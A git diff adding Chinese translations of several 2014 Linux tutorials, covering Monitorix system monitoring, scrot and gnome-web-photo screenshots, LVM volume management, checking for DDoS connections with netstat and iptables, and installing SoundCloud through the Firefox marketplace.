+[2]:http://xmodulo.com/2013/12/monitor-common-services-nagios.html +[3]:https://github.com/lebinh/ngxtop +[4]:http://ask.xmodulo.com/install-pip-linux.html diff --git a/published/201406/How to set up a web-based lightweight system monitor on Linux.md b/published/201406/How to set up a web-based lightweight system monitor on Linux.md new file mode 100644 index 0000000000..ce7ea9416f --- /dev/null +++ b/published/201406/How to set up a web-based lightweight system monitor on Linux.md @@ -0,0 +1,185 @@ +Monitorix :支持服务器和树莓派的轻量级系统监控系统 +================================================================================ +有时候,无论是普通用户还是系统管理员,都需要知道系统运行是否良好。与系统状态相关的许多问题,都可以通过检查运行的服务所生成的日志文件来获得答案。然而,即便对于干过几年的系统管理员而言,要检查日志文件的每个细节都不是件容易的事。这也是为什么他们依赖于监控软件的原因,监控软件能够从不同的源收集信息,并以易于理解的格式给出分析报告,如图表、可视化图像、统计数据等。 + +市面上流传着许多复杂的系统监控软件,诸如[Cacti][1], [Nagios][2], Zabbix, Munin此类。在本文中,我们向您介绍一个轻量级的监控工具——Monitorix,该工具设计用于在Linux/BSD上监控系统资源和许多熟知的第三方应用程序。由于专为资源有限的嵌入式系统而优化,Monitorix以使用简单,消耗内存资源少而著称。它内建了一个HTTP服务器用于提供web界面,并使用RRDtool数据库来存储时间序列统计数据,RRDtool可以很容易地和任何脚本语言整合,如Perl,Python,shell脚本,Ruby等。 + +### 主要特性 ### + +这里列出了Monitorix的主要特性。要查看完整列表,请参阅[官方网站][3] + +- 当前系统负载和系统服务 +- CPU/GPU温度传感器 +- 磁盘温度和健康度 +- 网络/端口流量和网络状况统计 +- 邮件统计 +- Web服务器统计(Apache,Nginx,Lighttpd) +- MySQL负载和统计 +- Squid代理统计 +- NFS服务器/客户端统计 +- Raspberry Pi传感器统计 +- Memcached统计 + +### 在Fedora, CentOS或者RHEL上安装并配置Monitorix ### + +首先,安装需要的软件包。注意,在CentOS上,你需要先设置 [EPEL][4]和[Repoforge][5]仓库。 + + $ sudo yum install rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple perl-Config-General perl-HTTP-Server-Simple perl-IO-Socket-SSL + +完成上一步后,可以通过以下命令来安装Monitorix: + + $ sudo yum install monitorix + +要配置Monitorix,打开`/etc/monitorix/monitorix.conf`配置文件,并修改选项。关于Monitorix的配置文件细节,可以查阅[http://www.monitorix.org/documentation.html][6]。 + +默认情况下,内建的HTTP服务器监听8080端口。因此,确保你的防火墙没有阻止TCP 8080端口。 + +要启动Monitorix,只需输入以下命令: + + $ sudo service monitorix start + +启动你喜爱的Web浏览器,然后通过http://:8080/monitorix来访问Monitorix的Web界面。 + +### 在Archlinux上安装并配置Monitorix ### + +在Archlinux上,可以从[AUR][7]上下载Monitorix包。 + +默认情况下,在Archlinux上是禁用了其内建HTTP服务器的。要启用内建的HTTP服务器,请编辑/etc/monitorix.conf文件的如下区块。 + + + enabled = y + host = + port = 8080 + user = nobody + group = nobody + log_file = /var/log/monitorix-httpd + hosts_deny = + hosts_allow = + + enabled = n + msg = Monitorix: Restricted access + htpasswd = /var/lib/monitorix/htpasswd + + + +最后,启动Monitorix服务。 + +打开你喜欢的Web浏览器,然后通过http://:8080/monitorix来访问Monitorix的Web界面。 + +### 在Debian和Ubuntu上安装并配置Monitorix ### + +对于Debian家族,Monitorix可以通过两种方式安装:手工安装或通过第三方软件仓库。 + +#### 手工安装(用于Debian) #### + +首先安装所有依赖包。 + + $ sudo apt-get install rrdtool perl libwww-perl libmailtools-perl libmime-lite-perl librrds-perl libdbi-perl libxml-simple-perl libhttp-server-simple-perl libconfig-general-perl libio-socket-ssl-perl + +从[http://www.monitorix.org/downloads.html][8]下载Monitorix包,并安装。 + + $ sudo dpkg -i monitorix*.deb + +在安装期间,会要求你配置一个后端Web服务器。如果你正是用Apache,确保重启Apache服务来重新加载Apache配置。 + + $ sudo service apache2 reload + +#### 通过软件仓库安装 (用于Ubuntu) #### + +在/etc/apt/source.list中添加以下行来启用Izzysoft仓库。 + + deb http://apt.izzysoft.de/ubuntu generic universe + +下载并为软件仓库添加GPG密钥。 + + $ wget http://apt.izzysoft.de/izzysoft.asc + $ sudo apt-key add izzysoft.asc + +使用apt-get安装Monitorix,所有依赖包也将自动安装。 + + $ sudo apt-get update + $ sudo apt-get install monitorix + +最后,启动Monitorix服务。 + + $ sudo service monitorix start + +要配置Monitorix,请使用文本编辑器编辑`/etc/monitorix/monitorix.conf`,并重启Monitorix服务。 + + $ sudo service monitorix restart + +用于Ubuntu的内建Web服务器默认启用。要从Web查看监控结果,在你喜爱的Web浏览器中访问http://8080/monitorix。 + +### 在Raspberry Pi上安装并配置Monitorix ### + +如果想要在Raspberry Pi(基于Debian)上安装Monitorix,你不能使用上面提到的Izzysoft仓库,因为它不提供Monitorix的ARM移植。取而代之的是,你可以参照如下基于Debian的手工安装。 + +首先,安装需要的软件包。 + + $ sudo apt-get install rrdtool perl libwww-perl libmailtools-perl libmime-lite-perl librrds-perl libdbi-perl libxml-simple-perl libhttp-server-simple-perl libconfig-general-perl libio-socket-ssl-perl + +如果某些需要的软件包没有安装,我们需要使用此命令来强制安装。 + + $ sudo apt-get -f install + +从[http://www.monitorix.org/downloads.html][9]下载Monitorix软件包(monitorix_x.x.x-izzy1_all.deb)。 + +使用下面的命令来安装Monitorix包。 + + $ sudo dpkg -i monitorix_x.x.x-izzy1_all.deb + +安装完成后,我们需要像下面这样对Monitorix配置稍作修改。 + +用你喜爱的文本编辑器打开`/etc/monitorix/monitorix.conf`,向下滚动文本直到你找到。搜索“raspberrypi = n”,并用“y”替换“n”,这将启用对Raspberry Pi时钟频率、温度和电压的监控。 + +编辑完成后,重启Monitorix服务。 + + $ sudo service monitorix restart + +默认情况下,Monitorix的内建HTTP Web服务器会被启用。要访问Monitorix的Web界面,访问此地址http://:8080/monitorix。 + +### Monitorix截图(Raspberry Pi上) ### + +Monitorix主屏幕: + +[![](https://farm6.staticflickr.com/5558/14215953893_69b546c473_z.jpg)][10] + +系统平均负载和使用情况图示: + +[![](https://farm6.staticflickr.com/5239/14009175290_6c5f9542b9_z.jpg)][11] + +活动进程图示: + +[![](https://farm3.staticflickr.com/2933/14195746084_1364bd1721_z.jpg)][12] + +在主屏幕中选择“Raspberry Pi”部分下的“时钟频率”,你会看到[Raspberry Pi][13]的时钟频率、温度和电压的图示: + +[![](https://farm8.staticflickr.com/7330/14009143189_aeeee6a0e3_z.jpg)][14] + +所有监控图示: + +[![](https://farm3.staticflickr.com/2908/14192525721_d002b4e621_k.jpg)][15] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/web-based-lightweight-system-monitor-linux.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/11/install-configure-cacti-linux.html +[2]:http://xmodulo.com/tag/nagios +[3]:http://www.monitorix.org/features.html +[4]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[5]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[6]:http://www.monitorix.org/documentation.html +[7]:http://aur.archlinux.org/packages.php?ID=33911 +[8]:http://www.monitorix.org/downloads.html +[9]:http://www.monitorix.org/downloads.html +[10]:https://www.flickr.com/photos/xmodulo/14215953893/ +[11]:https://www.flickr.com/photos/xmodulo/14009175290/ +[12]:https://www.flickr.com/photos/xmodulo/14195746084/ +[13]:http://xmodulo.com/go/raspberrypi +[14]:https://www.flickr.com/photos/xmodulo/14009143189/ +[15]:https://www.flickr.com/photos/xmodulo/14192525721/ \ No newline at end of file diff --git a/published/201406/How to take a screenshot from the command line on Linux.md b/published/201406/How to take a screenshot from the command line on Linux.md new file mode 100644 index 0000000000..2681c03ff2 --- /dev/null +++ b/published/201406/How to take a screenshot from the command line on Linux.md @@ -0,0 +1,83 @@ + 如何从Linux命令行截屏 +================================================================================ +Linux上有着许多不同口味儿的截屏工具,包括桌面环境专用的截屏程序(如: KDE里面的KSnapshot,GNOME里面的gnome-screenshot,Xfce的Screenshooter),或者是通用的截屏程序(如 Shutter)。而Scort("SCReen shOT"的缩写)是最独一无二的截屏工具之一,它是一个**命令行截屏工具**。虽然它的界面十分简约,但Scrot在功能上和其它专用的基于GUI的屏幕捕获工具一样强大。举个例子,Scrot支持延时截屏,截屏调整品质/大小,命令行传递等功能。如果你是那些热衷命令行的爱好者之一,Scrot应该是你加入兵器库中的又一实用工具。在这个教程中,我将会描述**如何在命令行中用Scrot截屏**。 + +### 在Linux中安装Scrot ### + +在 Debian,Ubuntu 或 Linux Mint 上安装Scrot: + + $ sudo apt-get install scrot + +在 Fedora 上安装Scrot: + + $ sudo yum install scrot + +要在CentOS上安装Scrot,你可以按照下列步骤从源码编译: + +首先[在CentOS上启用Repoforge][1],然后使用下列命令: + + $ sudo yum install giblib-devel + $ wget http://linuxbrit.co.uk/downloads/scrot-0.8.tar.gz + $ tar xvfvz scrot-0.8.tar.gz + $ cd scrot-0.8 + $ ./configure + $ make + $ sudo make install + +### 用Scrot截屏 ### + +在这个教程的下面的部分,我会描述如何通过几种不同方法用Scrot截屏。 + +#### 1. 截下整个桌面 #### + +截取整个桌面十分简单。只需运行Scrot命令,不需要任何参数,然后它会保存一张整个桌面的截屏,以(日期标记).png的文件形式保存在当前文件目录下。 + + $ scrot + +你也可以指定保存目标文件夹和截图文件名。 + + $ scrot ~/Pictures/my_desktop.png + +#### 2. 截取特定窗口或矩形区域 #### + +Scrot允许你在桌面选择一个特定的窗口或定义一个矩形区域来截图。使用下列命令来实现: + + $ scrot -s + +运行这个命令后,继续用你的鼠标单击任意窗口或画出一个矩形,它能够触发对选定窗口/区域的屏幕截取。(LCTT译注,还要使用鼠标,伐快乐) + +有时候你选定的区域或窗口可能会被桌面的其它窗口部分遮挡。在这种情况下,你在截屏前需要一点时间来清理那个部分。那正是延迟截屏能够帮到你的,就像下面所描述的那样。 + +#### 3. 延迟截屏 #### + +延迟截取在各种情况下都很实用。就在截图前,你可能想要移动一下窗口,激活一下菜单,或是触发特定时间(如通知)等等。 使用“-d N”参数,我们可以将截屏进程延迟N秒。 + + $ scrot -s -d 5 + +#### 4. 调整截屏质量 #### + +你可以在1到100的范围内调整截取的图像质量(数字越大质量越高)。默认质量设置为75。 + + $ scrot -q 50 + +#### 5. 调整截屏尺寸 #### + +你可以在1到100的范围内调整截取的图像尺寸(数字越大尺寸越大)。减小截屏的尺寸到原图的10%: + + $ scrot -t 10 + +#### 6. 将截取的截屏传递给其它命令 #### + +Scrot允许你发送保存的截屏图像给任意一个命令作为它们的输入。这个选项在你想对截屏图像做任意后期处理的时候十分实用。截屏的文件名/路径跟随于“$f”字符串之后。 + + $ scrot -e 'mv $f ~/screenshots' + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/take-screenshot-command-line-linux.html + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html diff --git a/published/201406/How to take full length screenshots of websites via terminal.md b/published/201406/How to take full length screenshots of websites via terminal.md new file mode 100644 index 0000000000..dc8a5ad379 --- /dev/null +++ b/published/201406/How to take full length screenshots of websites via terminal.md @@ -0,0 +1,57 @@ +如何在终端下截取一个完整长度的网页截图 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Screenshot-790x526.png) + + +与其记笔记或是把看到的内容发送给其他人,我们更经常通过截屏来帮助我们记忆。 +但是通常情况下,如果一个网页超出了屏幕高度,我们就得用多张截图去截取其全部内容。 + +对于 Linux,你将会有一个更好的解决方案:使用一个 GNOME 的应用来截取某个链接的整个页面。 +这个应用叫做 **gnome-web-photo**,这篇文章将介绍如何安装和使用它。 + +在 Ubuntu 和 Debian 的分支下: + + $ sudo apt-get install gnome-web-photo + +在 Fedora 下: + + $ sudo yum install gnome-web-photo + +但是对于 CentOS 和其他 RedHat 分支的用户,请注意 `gnome-web-photo` 依赖 GTK+ 3.0 这个软件包。 +也就是说 `gnome-web-photo` 是和 **CentOS/RHEL 6 自带的 GNOME 2 不相兼容的**。 + +要为一个网页截图: + + $ gnome-web-photo -t 0 --mode=photo http://www.unixmen.com output.png + +上面这条命令将为 Unixmen 的主页截取一个完整长度的截图,并保存在当前工作目录下。 + +输出样例: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/output2.png) + +**-t** 这个参数可以设置生成截图的超时时间。**-t 0** 则表示禁用超时参数。 + +**通过** gnome-web-photo,你可以用下面的命令为一个网页生成一个缩略图:(默认大小是 **256×256**,但是可以通过 “**-s**” 来指定缩略图的大小) + + $ gnome-web-photo -t 0 -s 128 --mode=thumbnail http://www.unixmen.com output.png + +输出样例: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/output.png) + +如果你想将网页截取成一个可供打印的多页 PDF 文档,你可以输入下面的命令: + + $ gnome-web-photo -t 0 --mode=print http://www.unixmen.com output.pdf + +注意这个应用并不支持 **.jpg** 格式。 + +这个应用应该对各类用户都有所帮助。我经常对网页进行缩略图和完整长度的截图,希望对你也有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/take-full-length-screenshots-websites-via-terminal/ + +译者:[VizV](https://github.com/vizv) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/How to use LVM in Linux.md b/published/201406/How to use LVM in Linux.md new file mode 100644 index 0000000000..6679df3ba7 --- /dev/null +++ b/published/201406/How to use LVM in Linux.md @@ -0,0 +1,353 @@ +Linux LVM简明教程 +================================================================================ +逻辑卷管理LVM是一个多才多艺的硬盘系统工具。无论在Linux或者其他类似的系统,都是非常的好用。传统分区使用固定大小分区,重新调整大小十分麻烦。但是,LVM可以创建和管理“逻辑”卷,而不是直接使用物理硬盘。可以让管理员弹性的管理逻辑卷的扩大缩小,操作简单,而不损坏已存储的数据。可以随意将新的硬盘添加到LVM,以直接扩展已经存在的逻辑卷。LVM并不需要重启就可以让内核知道分区的存在。 + +LVM使用分层结构,如下图所示。 + +![](https://farm3.staticflickr.com/2910/14127487464_96b24a906b_z.jpg) + +图中顶部,首先是实际的物理磁盘及其划分的分区和其上的物理卷(PV)。一个或多个物理卷可以用来创建卷组(VG)。然后基于卷组可以创建逻辑卷(LV)。只要在卷组中有可用空间,就可以随心所欲的创建逻辑卷。文件系统就是在逻辑卷上创建的,然后可以在操作系统挂载和访问。 + +### LVM测试说明 ### + +本文将介绍**怎么在linux中创建和管理LVM卷**。我们将会分成两个部分。第一个部分,我们首先要在一个硬盘上创建多个逻辑卷,然后将它们挂载在/lvm-mount目录。然后我们将要对创建好的卷调整大小。而第二部分,我们将会从另外一块硬盘增加额外的卷到LVM中。 + +### 准备磁盘分区 ### + +通过使用fdisk,创建磁盘分区。我们需要创建3个1G分区,注意,并不要求分区的大小一致。同样,分区需要使用‘8e’类型来使他们可用于LVM。 + + # fdisk /dev/sdb + +---------- + + Command (m for help): n ## 新建 + Command action + e extended + p primary partition (1-4) + p ## 主分区 + + Partition number (1-4): 1 ## 分区号 + First cylinder (1-1044, default 1): ## 回车用默认的1 + Last cylinder, +cylinders or +size{K,M,G} (1-1044, default 1044): +1G ## 大小 + + Command (m for help): t ## 改变类型 + Selected partition 1 + Hex code (type L to list codes): 8e ## LVM 的分区代码 + Changed system type of partition 1 to 8e (Linux LVM) + +重复上面的操作来创建其他两个分区。分区创建完成后,我们应该有类似如下的输出: + + # fdisk -l + +---------- + + Device Boot Start End Blocks Id System + /dev/sdb1 1 132 1060258+ 8e Linux LVM + /dev/sdb2 133 264 1060290 8e Linux LVM + /dev/sdb3 265 396 1060290 8e Linux LVM + +### 准备物理卷(PV) ### + +刚创建的分区是用来储存物理卷的。LVM可以使用不同大小的物理卷。 + + # pvcreate /dev/sdb1 + # pvcreate /dev/sdb2 + # pvcreate /dev/sdb3 + +使用下列命令检查物理卷的创建情况。下面截取部分输出。"/dev/sdb2"是一个新的"1.01 GiB"物理卷。 + + # pvdisplay + +---------- + + --- NEW Physical volume --- + PV Name /dev/sdb2 + VG Name + PV Size 1.01 GiB + Allocatable NO + PE Size 0 + Total PE 0 + Free PE 0 + Allocated PE 0 + PV UUID jszvzz-ENA2-g5Pd-irhV-T9wi-ZfA3-0xo092 + +使用下列命令可以删除物理卷。 + + # pvremove /dev/sdb1 + +### 准备卷组(VG) ### + +下列命令用来创建名为'volume-group1'的卷组,使用/dev/sdb1, /dev/sdb2 和 /dev/sdb3创建。 + + # vgcreate volume-group1 /dev/sdb1 /dev/sdb2 /dev/sdb3 + +使用下列命令可以来验证卷组。 + + # vgdisplay + +---------- + + --- Volume group --- + VG Name volume-group1 + System ID + Format lvm2 + Metadata Areas 3 + Metadata Sequence No 1 + VG Access read/write + VG Status resizable + MAX LV 0 + Cur LV 0 + Open LV 0 + Max PV 0 + Cur PV 3 + Act PV 3 + VG Size 3.02 GiB + PE Size 4.00 MiB + Total PE 774 + Alloc PE / Size 0 / 0 + Free PE / Size 774 / 3.02 GiB + VG UUID bwd2pS-fkAz-lGVZ-qc7C-TaKv-fFUC-IzGNBK + +从输出中,我们可以看见卷组的使用量/总量。物理卷给卷组提供空间。只要在这个卷组中还有可用空间,我们就可以随意创建逻辑卷。 + +使用下列命令删除卷组。 + + # vgremove volume-group1 + +### 创建逻辑卷(LV) ### + +下列命令创建一个名为'1v1'、大小为100MB的逻辑卷。我们使用小分区减少执行时间。这个逻辑卷使用之前创建的卷组的空间。 + + # lvcreate -L 100M -n lv1 volume-group1 + +逻辑卷可使用lvdisplay命令查看。 + + # lvdisplay + +---------- + + --- Logical volume --- + LV Name /dev/volume-group1/lv1 + VG Name volume-group1 + LV UUID YNQ1aa-QVt1-hEj6-ArJX-I1Q4-y1h1-OFEtlW + LV Write Access read/write + LV Status available + # open 0 + LV Size 100.00 MiB + Current LE 25 + Segments 1 + Allocation inherit + Read ahead sectors auto + - currently set to 256 + Block device 253:2 + +现在逻辑卷已经准备好了,我们可以格式化和挂载逻辑卷,就像其它ext2/3/4分区一样! + + # mkfs.ext4 /dev/volume-group1/lv1 + # mkdir /lvm-mount + # mount /dev/volume-group1/lv1 /lvm-mount/ + +一旦逻辑卷挂载,我们就可以到挂载点 /lvm-mount/ 上读写了。要创建和挂载其它的逻辑卷,我们重复这个过程。 + +最后,使用lvremove我们可以删除逻辑卷。 + + # umount /lvm-mount/ + # lvremove /dev/volume-group1/lv1 + +### 扩展一个LVM卷 ### + +调整逻辑卷大小的功能是LVM最有用的功能。这个部分会讨论我们怎么样扩展一个存在的逻辑卷。下面,我们将会扩展先前创建的逻辑卷‘lv1’扩大到200MB。 + +注意,调整逻辑卷大小之后,也需要对文件系统调整大小进行匹配。这个额外的步骤各不相同,取决于创建文件系统的类型。在本文中,我们使用'lv1'创建了ext4类型的文件系统,所以这里的操作是针对ext4文件系统的。(ext2/3文件系统也类同)。命令的执行顺序是很重要的。 + +首先,我们卸载掉lv1卷 + + # umount /lvm-mount/ + +然后,设置卷的大小为200M + + # lvresize -L 200M /dev/volume-group1/lv1 + +接下来,检查磁盘错误 + + # e2fsck -f /dev/volume-group1/lv1 + +运行以下命令扩展文件系统以后,ext4信息就更新了。 + + # resize2fs /dev/volume-group1/lv1 + +现在,这个逻辑卷应该已经扩展到200MB了。我们检查LV的状态来验证。 + + # lvdisplay + +---------- + + --- Logical volume --- + LV Name /dev/volume-group1/lv1 + VG Name volume-group1 + LV UUID 9RtmMY-0RIZ-Dq40-ySjU-vmrj-f1es-7rXBwa + LV Write Access read/write + LV Status available + # open 0 + LV Size 200.00 MiB + Current LE 50 + Segments 1 + Allocation inherit + Read ahead sectors auto + - currently set to 256 + Block device 253:2 + +现在,这个逻辑卷可以再次挂载,同样这个方法也可用于其他分区。 + +### 缩减一个LVM卷 ### + +这章节介绍缩减LVM卷大小的方法。命令的顺序同样重要。并且,下列命令对ext2/3/4文件系统同样有效。 + +注意减少逻辑卷的大小值若小于储存的数据大小,存储在后面的数据会丢失。 + +首先,卸载掉卷。 + + # umount /dev/volume-group1/lv1 + +然后,检测磁盘错误。 + + # e2fsck -f /dev/volume-group1/lv1 + +接下来缩小文件系统,更新ext4信息。 + + # resize2fs /dev/volume-group1/lv1 100M + +完成以后,减少逻辑卷大小 + + # lvresize -L 100M /dev/volume-group1/lv1 + +> WARNING: Reducing active logical volume to 100.00 MiB +> THIS MAY DESTROY YOUR DATA (filesystem etc.) +> Do you really want to reduce lv1? [y/n]: y +> Reducing logical volume lv1 to 100.00 MiB +> Logical volume lv1 successfully resized + +最后,验证调整后的逻辑卷大小。 + + # lvdisplay + +---------- + + --- Logical volume --- + LV Name /dev/volume-group1/lv1 + VG Name volume-group1 + LV UUID 9RtmMY-0RIZ-Dq40-ySjU-vmrj-f1es-7rXBwa + LV Write Access read/write + LV Status available + # open 0 + LV Size 100.00 MiB + Current LE 25 + Segments 1 + Allocation inherit + Read ahead sectors auto + - currently set to 256 + Block device 253:2 + +### 扩展一个卷组 ### + +本节将讨论扩展卷组的方法,将一个物理卷添加到卷组。让我们假设我们的卷组'volume-group1'已经满了,需要扩大。手上的硬盘(sdb)已经没有其他空闲分区,我们添加了另外一个硬盘(sdc)。我们将看到如何把sdc的分区添加到卷组以扩展。 + +检测现在卷组状态 + + # vgdisplay volume-group1 + +---------- + + --- Volume group --- + VG Name volume-group1 + System ID + Format lvm2 + Metadata Areas 3 + Metadata Sequence No 8 + VG Access read/write + VG Status resizable + MAX LV 0 + Cur LV 1 + Open LV 0 + Max PV 0 + Cur PV 3 + Act PV 3 + VG Size 3.02 GiB + PE Size 4.00 MiB + Total PE 774 + Alloc PE / Size 25 / 100.00 MiB + Free PE / Size 749 / 2.93 GiB + VG UUID bwd2pS-fkAz-lGVZ-qc7C-TaKv-fFUC-IzGNBK + +首先,我们创建一个2GB分区sdc1,类型为LVM(8e),如教程前所述。 + + # fdisk /dev/sdc + +---------- + + Command (m for help): n + Command action + e extended + p primary partition (1-4) + p + Partition number (1-4): 1 + First cylinder (1-1044, default 1): + Using default value 1 + Last cylinder, +cylinders or +size{K,M,G} (1-1044, default 1044): +2G + + Command (m for help): t + Selected partition 1 + Hex code (type L to list codes): 8e + Changed system type of partition 1 to 8e (Linux LVM) + + Command (m for help): w + The partition table has been altered! + +然后,我们创建一个物理卷 /dev/sdc1 + + # pvcreate /dev/sdc1 + +现在,物理卷已经准备好了,我们可以简单地将它增加到已存在的卷组'volume-group1'上。 + + # vgextend volume-group1 /dev/sdc1 + +使用vgdisplay来验证(可以看到卷组大小已经增大)。 + + # vgdisplay + +---------- + + --- Volume group --- + VG Name volume-group1 + System ID + Format lvm2 + Metadata Areas 4 + Metadata Sequence No 9 + VG Access read/write + VG Status resizable + MAX LV 0 + Cur LV 1 + Open LV 0 + Max PV 0 + Cur PV 4 + Act PV 4 + VG Size 5.03 GiB + PE Size 4.00 MiB + Total PE 1287 + Alloc PE / Size 25 / 100.00 MiB + Free PE / Size 1262 / 4.93 GiB + VG UUID bwd2pS-fkAz-lGVZ-qc7C-TaKv-fFUC-IzGNBK + +注意,尽管我们使用一个单独的磁盘做示范,其实只要是‘8e’类型的磁盘分区都可以用来扩展卷组。 + +总结一下,LVM是一个非常给力的工具,用来创建和管理可变大小的分区。本文中,我们已经看见了动态分区如何在LVM中创建和使用。我们也看见了扩展/缩小逻辑卷和卷组的方法,和如何增加一个新的磁盘到LVM。 + +希望对你有帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/use-lvm-linux.html + +译者:[Vic___](http://www.vicyu.net) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/How to verify DDOS attack with netstat command on Linux Terminal.md b/published/201406/How to verify DDOS attack with netstat command on Linux Terminal.md new file mode 100644 index 0000000000..d8a9be547e --- /dev/null +++ b/published/201406/How to verify DDOS attack with netstat command on Linux Terminal.md @@ -0,0 +1,78 @@ +如何使用netstat命令验证DDOS入侵 +================================================================================ + +一般来说,服务器非常慢可能原因是多方面的,有可能是配置错误,脚本错误或者是一些奇诡的硬件。当然也有可能是有人对你的服务器进行 Dos (拒绝服务攻击)或者 DDOS (分布式拒绝服务攻击)。 + +Dos攻击或者DDos攻击目的是使服务器或者网络资源耗尽,使其他用户无法使用。一般来说,这种攻击主要针对重要的网站或服务,比如银行、信用卡支付网关甚至是根域名服务器。Dos攻击主要通过强制目标主机重启或大量消耗其主机资源,使得目标主机无法提供服务或者妨害主机和用户之间的通信的手段,使得主机无法提供正常的服务的。 + +在本文中你将知道如何在终端中使用netstat命令判断服务器是否遭受Dos攻击。 + +netstat命令的用户手册描述其作用是用来显示网络连接、路由表、接口统计、伪连接和组播成员的。 + +### 一些例子和解释 ### + + netstat -na + +该命令将显示所有活动的网络连接。 + + netstat -an | grep :80 | sort + +显示所有80端口的网络连接并排序。这里的80端口是http端口,所以可以用来监控web服务。如果看到同一个IP有大量连接的话就可以判定单点流量攻击了。 + + netstat -n -p|grep SYN_REC | wc -l + +这个命令可以查找出当前服务器有多少个活动的 SYNC_REC 连接。正常来说这个值很小,最好小于5。 当有Dos攻击或者邮件炸弹的时候,这个值相当的高。尽管如此,这个值和系统有很大关系,有的服务器值就很高,也是正常现象。 + + netstat -n -p | grep SYN_REC | sort -u + +列出所有连接过的IP地址。 + + netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}' + +列出所有发送SYN_REC连接节点的IP地址。 + + netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n + +使用netstat命令计算每个主机连接到本机的连接数。 + + netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n + +列出所有连接到本机的UDP或者TCP连接的IP数量。 + + netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr + +检查 ESTABLISHED 连接并且列出每个IP地址的连接数量。 + + netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1 + +列出所有连接到本机80端口的IP地址和其连接数。80端口一般是用来处理HTTP网页请求。 + +### 如何减少DOS攻击 ### + +一旦你获得攻击服务器的IP地址你就可以使用以下命令拒绝此IP的所有连接。 + + iptables -A INPUT 1 -s $IPADRESS -j DROP/REJECT + +注意,你需要将 $IPADRESS 替换成需要拒绝连接的IP地址。 + +执行完以上命令后,使用以下命令结束所有的httpd连接以清理系统。 + + killall -KILL httpd + +然后执行以下命令重启httpd服务。 + + service httpd start #RedHat 系统 + + /etc/init/d/apache2 restart #Debian 系统 + + +-------------------------------------------------------------------------------- + + +via: http://linuxaria.com/howto/how-to-verify-ddos-attack-with-netstat-command-on-linux-terminal + +译者:[shipsw](https://github.com/shipsw) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + diff --git a/published/201406/Install SoundCloud In Ubuntu 14.04.md b/published/201406/Install SoundCloud In Ubuntu 14.04.md new file mode 100644 index 0000000000..dc727f3885 --- /dev/null +++ b/published/201406/Install SoundCloud In Ubuntu 14.04.md @@ -0,0 +1,39 @@ +Ubuntu 14.04安装声云(SoundCloud) +================================================================================ +[SoundCloud][1]是一个发现alternate音乐和 indi音乐的很棒的平台。如果你是声云(SoundCloud)的粉丝,你可以在Ubuntu 14.04,或者其早期版本以及Linux Mint、Elementary OS等其它Linux发行版中作为“桌面应用”来尝试。 + +要**在Ubuntu 14.04中安装声云(SoundCloud)**,我们将使用与[在Ubuntu中安装Google Keep][2]相同的方法来安装。上次我们使用Google Chrome来安装Google Keep,而这次我们将使用Firefox来安装声云(SoundCloud)。 + +### 在Ubuntu 14.04和Linux Mint中安装声云(SoundCloud): ### + +由于Ubuntu(以及大多数其它Linux发行版)预装了Firefox,只需打开Firefox并转到该地址:[https://marketplace.firefox.com/][3]。 + +Firefox应用市场是Chrome商店的替代品,类似于Firefox网页浏览器的应用市场,里面提供了一些用于Firefox智能手机OS的应用。在Firefox应用市场中搜索声云(SoundCloud),点击安装(install)来安装,并作为Web应用添加到Ubuntu中。 +![](http://itsfoss.com/wp-content/uploads/2014/05/Firefox_SoundClud.jpeg) + +完成后,你可以通过在Unity Dash中搜索声云(SoundCloud)应用来启动它。下图展示了Ubuntu 14.04 Unity中该应用的外观: + +![](http://itsfoss.com/wp-content/uploads/2014/05/SoundCloud_Ubuntu.jpeg) + +### 卸载从Firefox应用市场安装的声云(SoundCloud)应用 ### + +不要过于兴奋了。该桌面没有整合声音菜单,桌面通知也一样没有,但是这的确比Web版应用要好,至少我是这么认为的。但是如果你感到不满意,那么就卸载它吧,这在Ubuntu中也很容易。 + +运行声云(SoundCloud),在Unity启动器上**右击**声云(SoundCloud)图标,然后点击**卸载应用(uninstall app)**。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Uninstall_SoundCloud_Ubuntu.jpeg) + +我不是一个十足的声云(SoundCloud)粉丝。我更喜欢[在Ubuntu中安装声破天(Spotify)][4]超过任何其它流媒体音乐应用。而你呢? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-soundcloud-ubuntu-1404/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 